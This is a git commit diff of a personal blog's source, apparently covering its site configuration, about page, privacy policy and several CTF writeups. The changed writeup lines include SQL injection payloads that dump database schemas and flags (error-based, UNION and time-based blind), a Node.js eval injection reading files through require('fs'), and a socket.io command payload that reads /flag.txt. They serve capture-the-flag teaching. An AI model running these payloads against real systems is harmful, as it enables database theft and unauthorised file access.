1 Commits
Author SHA1 Message Date
maik 9d82b6771a Add act2-microsoft-kc7 writeup 2025-01-04 00:12:03 +01:00
62 changed files with 498 additions and 2690 deletions
Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.9 MiB

After

Width:  |  Height:  |  Size: 2.7 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.9 MiB

After

Width:  |  Height:  |  Size: 2.8 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.6 MiB

After

Width:  |  Height:  |  Size: 2.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.7 MiB

After

Width:  |  Height:  |  Size: 2.3 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.6 MiB

After

Width:  |  Height:  |  Size: 2.3 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.6 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.4 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 66 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 316 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 54 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 115 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.9 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.7 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 947 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 978 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 982 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 972 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 110 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 925 KiB

+5 -11
View File
@@ -40,12 +40,6 @@ page = ["HTML", "RSS"]
[pagination]
pagerSize = 12
[markup]
[markup.tableOfContents]
endLevel = 4
ordered = true
startLevel = 2
[params]
dateform = "Jan 2, 2006"
dateformShort = "Jan 2"
@@ -55,7 +49,7 @@ dateformMonth = "Jan, 2006"
# Metadata mostly used in document's head
description = "Hey there, my name is Maik de Kruif, I create websites, bots and other kinds of software. At the moment, I'm still studying computer science at Avans University of Applied Sciences. I am also a big fan of open-source software, which is why you'll find many of my projects on Github. And last but not least, I love playing around with cyber-security related stuff."
keywords = "Developer, Software Engineer, Software Developer, Maik, Computer Science, Portfolio, Blog, Maik de Kruif"
keywords = "Devloper, Software Engineer, Software Developer, Maik, Computer Science, Portfolio, Blog, Maik de Kruif"
images = [""]
genre = "Blog"
@@ -64,7 +58,7 @@ rssLimit = 15
showReadingTimeInList = false
homeSubtitle = "Software Engineer and Cyber Security Specialist"
homeSubtitle = "Software Engineering, Linux and Cyber Security"
# Prefix of link to the git commit detail page. GitInfo must be enabled.
gitUrl = "https://github.com/maikka39/Personal-Website/commit/"
@@ -131,9 +125,9 @@ image = "/img/home/portrait.png"
twitter = "@maik_dev"
# Wallets
# [[params.wallets]]
# name = "XMR"
# address = "83cfsXGHPaW81hKJtAPYZEgbfFqANMTXXRwghsBpjf5oTDRV3BnCC4jFno8tLTnF4C6gJzGjPEmpvjntXaiGBB7kVitkDKi"
[[params.wallets]]
name = "XMR"
address = "83cfsXGHPaW81hKJtAPYZEgbfFqANMTXXRwghsBpjf5oTDRV3BnCC4jFno8tLTnF4C6gJzGjPEmpvjntXaiGBB7kVitkDKi"
# Social icons
[[params.social]]
+6 -3
View File
@@ -2,7 +2,7 @@
author = "Maik de Kruif"
title = "About"
date = 2021-11-19T12:26:01+01:00
description = "I’m a passionate coder with a strong foundation in programming. With a love for solving practical problems through software development, I am driven to continuously explore new ways to create innovative solutions. My personal side-projects and exploration of cybersecurity further enhance my skills and dedication to building powerful and impactful applications."
description = "Ever since I was a little kid, I've loved coding. From the moment of writing my first program in Python and manipulating it to produce the desired output, I have been obsessed with the idea of writing software to solve practical problems. Programming is like a never-ending puzzle where you continuously have to come up with a new way to solve it."
images = []
tags = [
"aboutme",
@@ -10,9 +10,12 @@ tags = [
categories = [
"me",
]
toc = false
+++
Ever since I was a little kid, I've loved coding. From the moment of writing my first program in Python and manipulating it to produce the desired output, I have been obsessed with the idea of writing software to solve practical problems. Programming is like a never-ending puzzle where you continuously have to come up with a new way to solve it.
When I get home after work, I tend to either continue writing code for some personal side-projects, or play around with cyber-security related stuff. Occasionally, I can also be found working on electronics projects. This is what keeps me up at night, a never-ending thirst to create beautiful, powerful things and share them with the world.
Outside of my job, I run a small business with a couple of friends where we develop drone shows. I'm responsible for both designing and writing the control software as well as creating and designing the actual drones.
When I get home after work/school, I tend to either continue writing code for some personal side-projects, or play around with cyber-security related stuff. This is what keeps me up at night, a never-ending thirst to create beautiful, powerful things and share them with the world.
Skills/Interests: Python, Java, Scala, JavaScript, Node, CSS, HTML, Git, SQL, MongoDB, Apache, Nginx, Docker.
+11 -11
View File
@@ -20,22 +20,22 @@ We respect the privacy of our visitors. We collect only such personal informatio
If you visit our website to browse, read, or download information:
- Your web browser automatically sends us (and we may retain) information such as the:
- Internet domain through which you access the Internet (e.g., yourServiceProvider.com if you use a commercial Internet service provider, or yourSchool.edu if you use an Internet account from your school);
- Internet Protocol address of the computer you are using;
- type of browser software and operating system you are using;
- date and time you access our site; and
- the Internet address of the site from which you linked directly to our site.
- We will use this information as aggregate data to help us maintain this site, e.g., to determine the number of visitors to different sections of our site, to ensure the site is working properly, and to help us make our site more accessible and useful.
- We will not use this information to identify individuals, except for site security or law enforcement purposes.
- We will not obtain personally-identifying information about you when you visit our site, unless you choose to provide such information.
- Your web browser automatically sends us (and we may retain) information such as the:
- Internet domain through which you access the Internet (e.g., yourServiceProvider.com if you use a commercial Internet service provider, or yourSchool.edu if you use an Internet account from your school);
- Internet Protocol address of the computer you are using;
- type of browser software and operating system you are using;
- date and time you access our site; and
- the Internet address of the site from which you linked directly to our site.
- We will use this information as aggregate data to help us maintain this site, e.g., to determine the number of visitors to different sections of our site, to ensure the site is working properly, and to help us make our site more accessible and useful.
- We will not use this information to identify individuals, except for site security or law enforcement purposes.
- We will not obtain personally-identifying information about you when you visit our site, unless you choose to provide such information.
## Other Information We Collect
If you choose to identify yourself (or otherwise provide us with personal information) when you use our online forms:
- We will collect (and may retain) any personally identifying information, such as your name, street address, email address, and phone number, and any other information you provide. We will use this information to try to fulfill your request and may use it to provide you with additional information at a later time. We will not disclose such information to third parties, except as specified in this privacy policy.
- If you request information, services, or assistance, we may disclose your personal information to those third parties that (in our judgment) are appropriate in order to fulfill your request. If, when you provide us with such information, you specify that you do not want us to disclose the information to third parties, we will honor your request. Note, however, that if you do not provide such information, it may be impossible for us to refer, respond to or fulfill your request.
- We will collect (and may retain) any personally identifying information, such as your name, street address, email address, and phone number, and any other information you provide. We will use this information to try to fulfill your request and may use it to provide you with additional information at a later time. We will not disclose such information to third parties, except as specified in this privacy policy.
- If you request information, services, or assistance, we may disclose your personal information to those third parties that (in our judgment) are appropriate in order to fulfill your request. If, when you provide us with such information, you specify that you do not want us to disclose the information to third parties, we will honor your request. Note, however, that if you do not provide such information, it may be impossible for us to refer, respond to or fulfill your request.
## How Long We Keep Information
@@ -23,7 +23,7 @@ aliases = [
]
+++
- Points: 1
- Points: 1
## Description
@@ -23,7 +23,7 @@ aliases = [
]
+++
- Points: 100
- Points: 100
## Description
@@ -23,7 +23,7 @@ aliases = [
]
+++
- Points: 1000
- Points: 1000
## Description
@@ -24,7 +24,7 @@ aliases = [
]
+++
- Points: 1100
- Points: 1100
## Description
@@ -24,7 +24,7 @@ aliases = [
]
+++
- Points: 1200
- Points: 1200
## Description
@@ -38,13 +38,13 @@ Upon opening the challenge website we're greeted with an input field and a check
```js
function send() {
let place = $("#place")[0].value;
if (place.length > 0) {
$.post("/", { place: place }, function (data) {
$("#result")[0].innerHTML = "<b>" + data + "</b>";
});
}
return false;
let place = $("#place")[0].value;
if (place.length > 0) {
$.post("/", { place: place }, function (data) {
$("#result")[0].innerHTML = "<b>" + data + "</b>";
});
}
return false;
}
```
@@ -24,7 +24,7 @@ aliases = [
]
+++
- Points: 1400
- Points: 1400
## Description
@@ -24,7 +24,7 @@ aliases = [
]
+++
- Points: 1500
- Points: 1500
## Description
@@ -88,12 +88,12 @@ I came up with the following code:
```html
<script>
setTimeout(() => {
let flagInput = document.getElementById("flag");
flagInput.name = "flag[]";
flagInput.value = "hi";
flagInput.form.submit();
}, 1000);
setTimeout(() => {
let flagInput = document.getElementById("flag");
flagInput.name = "flag[]";
flagInput.value = "hi";
flagInput.form.submit();
}, 1000);
</script>
```
@@ -25,7 +25,7 @@ aliases = [
]
+++
- Points: 1800
- Points: 1800
## Description
@@ -41,22 +41,22 @@ When opening the source of the page we also find some javascript code:
```js
function send() {
let calc = $("#calc")[0].value;
if (calc.length > 0) {
$.ajax({
url: "/calc",
type: "POST",
data: '{"calc": "' + calc + '" }',
contentType: "application/json; charset=utf-8",
dataType: "json",
}).always(function (data) {
text = data;
if (data.responseText) {
text = data.responseText;
}
$("#msg")[0].innerHTML = "<b>" + text + "</b>";
});
}
let calc = $("#calc")[0].value;
if (calc.length > 0) {
$.ajax({
url: "/calc",
type: "POST",
data: '{"calc": "' + calc + '" }',
contentType: "application/json; charset=utf-8",
dataType: "json",
}).always(function (data) {
text = data;
if (data.responseText) {
text = data.responseText;
}
$("#msg")[0].innerHTML = "<b>" + text + "</b>";
});
}
}
```
@@ -68,7 +68,7 @@ If we capture the request with a proxy like Burp, we can see it sends a `POST` r
```json
{
"calc": "3+4"
"calc": "3+4"
}
```
@@ -96,7 +96,7 @@ A NodeJS Express server often has a `res` variable to which the request result i
```json
{
"calc": "res"
"calc": "res"
}
```
@@ -112,7 +112,7 @@ The resulting request:
```json
{
"calc": "require('fs').readdirSync('.')"
"calc": "require('fs').readdirSync('.')"
}
```
@@ -126,7 +126,7 @@ Now that we know the location of the flag (`flag.txt`), we can use the `readFile
```json
{
"calc": "require('fs').readFileSync('flag.txt')"
"calc": "require('fs').readFileSync('flag.txt')"
}
```
@@ -25,7 +25,7 @@ aliases = [
]
+++
- Points: 1900
- Points: 1900
## Description
@@ -41,22 +41,22 @@ When opening the source of the page we also find some javascript code:
```js
function send() {
let calc = $("#calc")[0].value;
if (calc.length > 0) {
$.ajax({
url: "/calc",
type: "POST",
data: '{"calc": "' + calc + '" }',
contentType: "application/json; charset=utf-8",
dataType: "json",
}).always(function (data) {
text = data;
if (data.responseText) {
text = data.responseText;
}
$("#msg")[0].innerHTML = "<b>" + text + "</b>";
});
}
let calc = $("#calc")[0].value;
if (calc.length > 0) {
$.ajax({
url: "/calc",
type: "POST",
data: '{"calc": "' + calc + '" }',
contentType: "application/json; charset=utf-8",
dataType: "json",
}).always(function (data) {
text = data;
if (data.responseText) {
text = data.responseText;
}
$("#msg")[0].innerHTML = "<b>" + text + "</b>";
});
}
}
```
@@ -24,7 +24,7 @@ aliases = [
]
+++
- Points: 200
- Points: 200
## Description
@@ -25,7 +25,7 @@ aliases = [
]
+++
- Points: 2000
- Points: 2000
## Description
@@ -41,12 +41,12 @@ If we take a look at the source, we also find a bit of javascript:
```js
function send() {
let emoji = $("#emoji")[0].value;
if (emoji.length > 0) {
$.post("/", { emoji: emoji }, function (data) {
$("#msg")[0].innerHTML = "<b>" + data + "</b>";
});
}
let emoji = $("#emoji")[0].value;
if (emoji.length > 0) {
$.post("/", { emoji: emoji }, function (data) {
$("#msg")[0].innerHTML = "<b>" + data + "</b>";
});
}
}
```
@@ -24,7 +24,7 @@ aliases = [
]
+++
- Points: 2100
- Points: 2100
## Description
@@ -24,7 +24,7 @@ aliases = [
]
+++
- Points: 2300
- Points: 2300
## Description
@@ -40,23 +40,21 @@ If we take a look at the source, we also find a bit of javascript:
```js
$(function () {
var socket = io();
$("form").submit(function () {
socket.emit("chat message", { message: $("#m").val() });
$("#m").val("");
return false;
});
socket.on("chat message", function (msg) {
console.log(msg.command);
if (msg.command === "code") {
$("#messages").append(
$("<li>").html("<pre>" + msg.message + "</pre>")
);
} else {
$("#messages").append($("<li>").text(msg.message));
}
window.scrollTo(0, document.body.scrollHeight);
});
var socket = io();
$("form").submit(function () {
socket.emit("chat message", { message: $("#m").val() });
$("#m").val("");
return false;
});
socket.on("chat message", function (msg) {
console.log(msg.command);
if (msg.command === "code") {
$("#messages").append($("<li>").html("<pre>" + msg.message + "</pre>"));
} else {
$("#messages").append($("<li>").text(msg.message));
}
window.scrollTo(0, document.body.scrollHeight);
});
});
```
@@ -110,8 +108,8 @@ Because the code tries to read `msg.command`, let's try adding a command to the
```js
socket.emit("chat message", {
message: "Hello",
command: "ls",
message: "Hello",
command: "ls",
});
```
@@ -199,8 +197,8 @@ Lyc7IGNhdCAnL2ZsYWcudHh0⏎
```js
socket.emit("chat message", {
message: "Lyc7IGNhdCAnL2ZsYWcudHh0",
command: "execute",
message: "Lyc7IGNhdCAnL2ZsYWcudHh0",
command: "execute",
});
```
@@ -24,7 +24,7 @@ aliases = [
]
+++
- Points: 300
- Points: 300
## Description
@@ -46,18 +46,18 @@ To find this funtion, enter `checkPass` in the devtools console and click on the
```js
function checkPass() {
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
var novi = "-NOVI";
var novi = "-NOVI";
if (password == btoa(username + novi)) {
window.setTimeout(function () {
window.location.assign(
"inde" + "x.php?username=" + username + "&password=" + password
);
}, 500);
}
if (password == btoa(username + novi)) {
window.setTimeout(function () {
window.location.assign(
"inde" + "x.php?username=" + username + "&password=" + password
);
}, 500);
}
}
```
@@ -24,7 +24,7 @@ aliases = [
]
+++
- Points: 500
- Points: 500
## Description
@@ -72,7 +72,7 @@ The query becomes invalid as there is an unterminated string. So, how do we turn
## Solution
Firstly, I tried to use `' OR 1=1 --` as the username and, again, some garbage as the password. However, it didn't work. It didn't even return an error. So I guess this is where "A classic, with a twist." comes in. Next, I tried to just use `admin` as the username and end the query after it by inserting a comment (this is `--` in sql). The resulting input would become `admin' --` for the username, the password doesn't matter.
Firstly, I tried to use `' OR 1=1 -- ` as the username and, again, some garbage as the password. However, it didn't work. It didn't even return an error. So I guess this is where "A classic, with a twist." comes in. Next, I tried to just use `admin` as the username and end the query after it by inserting a comment (this is `--` in sql). The resulting input would become `admin' -- ` for the username, the password doesn't matter.
The resulting query would be this:
@@ -90,7 +90,7 @@ As [@credmp](https://twitter.com/credmp) correctly pointed out, this only works
### Getting the database
As we can see the error on the page itself, we can use a query to give a result inside the error. For instance, to get the database I used the following input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`. This results into the following query:
As we can see the error on the page itself, we can use a query to give a result inside the error. For instance, to get the database I used the following input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- `. This results into the following query:
```sql
FROM `users` SELECT * WHERE `username`='' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) as x FROM information_schema.tables GROUP BY x) as y) -- ' AND `password`=''
@@ -167,7 +167,7 @@ We can only get the tables one by one (as I explained above) so we can use the f
SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1
```
Converted to an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
Converted to an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- `
_Note: to get next table, just edit the `LIMIT` to `1,1`, `2,1` and so on_
@@ -187,7 +187,7 @@ A sub-query for columns could be the following:
SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1
```
Which converts to this input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
Which converts to this input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- `
Which gives us (with other `LIMIT` as well):
@@ -211,7 +211,7 @@ A simple `SELECT` query for the username would be:
SELECT username from users limit 0,1
```
Turing this into an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT username from users limit 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
Turing this into an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT username from users limit 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- `
We get:
@@ -62,7 +62,7 @@ If this were the query, we could use a `UNION SELECT` to add our own query. Let'
UNION SELECT table_name, 2, 3 FROM information_schema.tables
```
The `2` and `3` in the `SELECT` are a filler because our guessed query has three columns. The use this query we have to escape the string in the query first. To do this, I added a `'` before our query and appended the symbols for a comment (`--`) at the end. This results in the following input: `' UNION SELECT table_name, 2, 3 FROM information_schema.tables --`. This way the query that will be executed becomes this:
The `2` and `3` in the `SELECT` are a filler because our guessed query has three columns. The use this query we have to escape the string in the query first. To do this, I added a `'` before our query and appended the symbols for a comment (`--`) at the end. This results in the following input: `' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- `. This way the query that will be executed becomes this:
```sql
SELECT id, descr, proof FROM santabase WHERE descr LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %' OR proof LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %'
@@ -254,7 +254,7 @@ The flags table at the bottom looks interesting. Let's grab it's contents. To ge
UNION SELECT (SELECT * FROM flags), 2, 3
```
This query also has to be converted to an input first. This will become `' UNION SELECT (SELECT * FROM flags), 2, 3 --`.
This query also has to be converted to an input first. This will become `' UNION SELECT (SELECT * FROM flags), 2, 3 -- `.
After submitting this input, I got the flag: `NOVI{7h1s_flag_w@s_chuncky_right}`.
@@ -272,7 +272,7 @@ Because the `secrets` table a more than one column, we need to know the column n
UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets"
```
Converted to an input: `' UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets" --`.
Converted to an input: `' UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets" -- `.
After remove the results from the original query, we get the following:
@@ -290,7 +290,7 @@ UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets
The `CONCAT()` here is to put our results into the first column as the other two column are hidden after the first five characters.
This query converts to `' UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets --` as the input.
This query converts to `' UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets -- ` as the input.
After parsing the output we get:
@@ -24,7 +24,7 @@ aliases = [
]
+++
- Points: 700
- Points: 700
## Description
@@ -44,13 +44,13 @@ This time, no error message is shown. But the output is! (I'll get back to that
SELECT why FROM naughty WHERE why LIKE '%search text%';
```
If this were the query, we can easily try to just get all records. To do this, we need to modify the `WHERE` statement to always be true. A way to do this is to add a `OR 1=1 --` to the query as `1` is always equal to `1`. But how do we do that? Well, is the backend doesn't properly create a query, we can escape the string inside the `WHERE` query and add our own code. An example input would be `' OR 1=1 --`. If this would be inserted inside the query we would get this:
If this were the query, we can easily try to just get all records. To do this, we need to modify the `WHERE` statement to always be true. A way to do this is to add a `OR 1=1 -- ` to the query as `1` is always equal to `1`. But how do we do that? Well, is the backend doesn't properly create a query, we can escape the string inside the `WHERE` query and add our own code. An example input would be `' OR 1=1 -- `. If this would be inserted inside the query we would get this:
```sql
SELECT why FROM naughty WHERE why LIKE '%' OR 1=1 -- %';
```
If we input this (`' OR 1=1 --`) in the search field, we get the flag! It is `NOVI{bl1nd_sql1_is_naughty}`
If we input this (`' OR 1=1 -- `) in the search field, we get the flag! It is `NOVI{bl1nd_sql1_is_naughty}`
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#7-8).
@@ -102,7 +102,7 @@ Now that we know the table name, we can then get the columns from it with this q
SELECT column_name FROM information_schema.columns WHERE table_name = "naughty"
```
If we convert this to an input, we get `' UNION SELECT column_name FROM information_schema.columns WHERE table_name = "naughty" --`. This return the following rows:
If we convert this to an input, we get `' UNION SELECT column_name FROM information_schema.columns WHERE table_name = "naughty" -- `. This return the following rows:
| Who? |
| -------- |
@@ -118,7 +118,7 @@ Knowing the table and column names, we can get all rows in the table. This outpu
SELECT CONCAT(id, " | ", username, " | ", badthing) FROM naughty
```
Converted to an input we get `' UNION SELECT CONCAT(id, " | ", username, " | ", badthing) FROM naughty --`, which, after submitting it, gives us one row:
Converted to an input we get `' UNION SELECT CONCAT(id, " | ", username, " | ", badthing) FROM naughty -- `, which, after submitting it, gives us one row:
| Who? |
| ------------------------------------------- |
@@ -148,7 +148,7 @@ SELECT CASE WHEN (SELECT DATABASE() LIKE "a%") THEN BENCHMARK(9000000,MD5(1)) EL
This would run `BENCHMARK(9000000,MD5(1))` if the sub-query returns more than 1 row. The `BENCHMARK()` is used because it's a function that takes a while to run.
This query will have to be converted to an input first. This will become `' UNION SELECT CASE WHEN (SELECT DATABASE() LIKE "a%") THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END --`
This query will have to be converted to an input first. This will become `' UNION SELECT CASE WHEN (SELECT DATABASE() LIKE "a%") THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END -- `
If we replace `a` with another letter we can find out the database name like this:
@@ -177,6 +177,6 @@ To get the tables inside the database, the same method will have to be used. An
SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END
```
Which will convert to `' UNION SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END --`
Which will convert to `' UNION SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END -- `
By using this method, we can get the all database records but it will take a long time.
@@ -23,7 +23,7 @@ aliases = [
]
+++
- Points: 800
- Points: 800
## Description
@@ -41,7 +41,7 @@ This is talking about robots, which my be a hint to look at the [`robots.txt`](h
### What is a robots.txt file?
A `robots.txt` file lives at the root of a website. So, for the site www\.example\.com, a robots.txt file would live at www\.example\.com/robots.txt. robots.txt is a plain text file that follows the [Robots Exclusion Standard](http://en.wikipedia.org/wiki/Robots_exclusion_standard#About_the_standard). A robots.txt file consists of one or more rules. Each rule blocks (or allows) access for a given crawler to a specified file path in that website.
A `robots.txt` file lives at the root of a website. So, for the site www.example.com, a robots.txt file would live at www.example.com/robots.txt. robots.txt is a plain text file that follows the [Robots Exclusion Standard](http://en.wikipedia.org/wiki/Robots_exclusion_standard#About_the_standard). A robots.txt file consists of one or more rules. Each rule blocks (or allows) access for a given crawler to a specified file path in that website.
### Opening the file
@@ -23,7 +23,7 @@ aliases = [
]
+++
- Points: 900
- Points: 900
## Description
@@ -63,10 +63,10 @@ echo -n "eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGU
```json
{
"auth": 28961,
"text": "I do love a good puzzle.",
"role": "user",
"iat": 1607717857
"auth": 28961,
"text": "I do love a good puzzle.",
"role": "user",
"iat": 1607717857
}
```
@@ -48,13 +48,13 @@ The attachment contains one file: `chall.tar.gz`.
Extracting this file gives seven `csv` files of about 25MB:
- 1.csv
- 2.csv
- 3.csv
- 4.csv
- 5.csv
- 6.csv
- 7.csv
- 1.csv
- 2.csv
- 3.csv
- 4.csv
- 5.csv
- 6.csv
- 7.csv
They all contain 600255 lines.
@@ -314,8 +314,8 @@ This is still pretty bad, but at least I can see something.
From the image I made the following changes:
- The "g" should be a capital "G"
- The last question mark should be a "4"
- The "g" should be a capital "G"
- The last question mark should be a "4"
The other two were still unreadable, but from guessing I replaced the second question mark with a "c" and the other two that are left with an "r".
@@ -839,13 +839,13 @@ print(unary_code)
Then, let's follow the steps to convert brainfuck to Unary in reverse.
1. Remove the leading `1`
1. Remove the leading `1`
```py
unary_code = unary_code[1:]
```
2. Replace unary with brainfuck
2. Replace unary with brainfuck
```py
for i in range(0, len(unary_code), 3):
@@ -869,7 +869,7 @@ Then, let's follow the steps to convert brainfuck to Unary in reverse.
brainfuck_code += "]"
```
3. Print the result:
3. Print the result:
```py
print(brainfuck_code)
@@ -42,7 +42,7 @@ Congratulations, you successfully sneaked past the guards, and now you are insid
attachment.zip (_file too large_)
- [bzImage.elf](/files/writeups/google-ctf/2021/beginners-quest/9/bzImage.elf)
- [bzImage.elf](/files/writeups/google-ctf/2021/beginners-quest/9/bzImage.elf)
## Recon
@@ -3,7 +3,7 @@ author = "Maik de Kruif"
title = "The Great Elf Conflict"
subtitle = "Act 2 - SANS Holiday Hack Challenge 2024"
date = 2025-01-03T16:29:38+01:00
description = "In The Great Elf Conflict, we dive into the chaos of a cyberattack at the North Pole, unraveling clues left by Team Wombley. For silver, we use KQL to uncover critical data, exposing phishing schemes, compromised accounts, and malware infections. To earn gold, we decode advanced threats, track down malicious files, and find the ransomware with precision queries. By solving all four sections, we bring peace to the elves and secure the North Pole!"
description = "Some text."
cover = "img/writeups/holiday-hack-challenge/2024/act2/microsoft-kc7/cover.png"
tags = [
"Holiday Hack Challenge",
@@ -1,8 +0,0 @@
+++
author = "Maik de Kruif"
title = "Act 3 - SANS HHC 2024"
breadcrumb = "Act 3"
description = "A collection of my writeups for the 2024 edition of the SANS Holiday Hack Challenge (HHC). HHC is a free series of fun, quality, hands-on cybersecurity challenges."
+++
A collection of my writeups for the 2024 edition of the SANS Holiday Hack Challenge (HHC). HHC is a free series of fun, quality, hands-on cybersecurity challenges.
File diff suppressed because it is too large Load Diff
@@ -1,384 +0,0 @@
+++
author = "Maik de Kruif"
title = "Santa Vision"
subtitle = "Act 3 - SANS Holiday Hack Challenge 2024"
date = 2025-01-04T00:46:44+01:00
description = "In Santa Vision, we assist Ribb Bonbowford in reclaiming the Santa Broadcast Network (SBN) from Wombley’s control. For the silver medal, we identify admin credentials hidden in the portal’s HTML, log in, and explore MQTT topics for valuable information. To earn gold, we uncover secrets in HTTP headers and retrieve additional user credentials to dig deeper into the northpolefeeds, ultimately restoring the holiday cheer and earning both medals!"
cover = "img/writeups/holiday-hack-challenge/2024/act3/santa-vision/cover.png"
tags = [
"Holiday Hack Challenge",
"ctf",
"hacking",
"writeup",
]
categories = [
"ctf",
"writeups",
"hacking",
]
+++
## Link
If you want to play the challenge yourself, you can find it here:
<https://2024.holidayhackchallenge.com/>
## Story line
Let's start off by talking to the elf:
> Hi, Ribb Bonbowford here, ready to guide you through the SantaVision dilemma!
>
> The Santa Broadcast Network (SBN) has been hijacked by Wombley's goons—they're using it to spread propaganda and recruit elves! And Alabaster joined in out of necessity. Quite the predicament, isn’t it?
>
> To access this challenge, use this terminal to access your own instance of the SantaVision infrastructure.
>
> Once it's done baking, you'll see an IP address that you'll need to scan for listening services.
>
> Our target is the technology behind the SBN. We need make a key change to its configuration.
>
> We’ve got to remove their ability to use their admin privileges. This is a delicate maneuver—are you ready?
>
> We need to change the application so that multiple administrators are not permitted. A misstep could cause major issues, so precision is key.
>
> Once that’s done, positive, cooperative images will return to the broadcast. The holiday spirit must prevail!
>
> This means connecting to the network and pinpointing the right accounts. Don’t worry, we'll get through this.
>
> Let’s ensure the broadcast promotes unity among the elves. They deserve to see the season’s spirit, don't you think?
>
> Remember, it’s about cooperation and togetherness. Let's restore that and bring back the holiday cheer. Best of luck!
>
> The first step to unraveling this mess is gaining access to the SantaVision portal. You'll need the right credentials to slip through the front door—what username will get you in?
## Hints
{{< collapsible-block title="Mosquito Mosquitto" isCollapsed="true" class="tight" >}}
[Mosquitto](https://mosquitto.org/) is a great client for interacting with MQTT, but their spelling may be suspect. Prefer a GUI? Try [MQTTX](https://mqttx.app/)
{{< /collapsible-block >}}
{{< collapsible-block title="Misplaced Credentials (A)" isCollapsed="true" class="tight" >}}
See if any credentials you find allow you to subscribe to any [MQTT](https://en.wikipedia.org/wiki/MQTT) feeds.
{{< /collapsible-block >}}
{{< collapsible-block title="Filesystem Analysis (A)" isCollapsed="true" class="tight" >}}
[jefferson](https://github.com/onekey-sec/jefferson/) is great for analyzing JFFS2 file systems.
{{< /collapsible-block >}}
{{< collapsible-block title="Database Pilfering (A)" isCollapsed="true" class="tight" >}}
Consider checking any database files for credentials...
{{< /collapsible-block >}}
## Recon
After clicking on the challenge, a new tab opens with a landing page. There is not much on it besides a picture of santa, and a weird animal in the bottom right. If we click on the dinosaur(?), some kind of control page opens up.
{{< figure class="small inline" src="/img/writeups/holiday-hack-challenge/2024/act3/santa-vision/landing-page.png" title="Landing page" >}}
{{< figure class="small inline" src="/img/writeups/holiday-hack-challenge/2024/act3/santa-vision/control-page.png" title="Control page" >}}
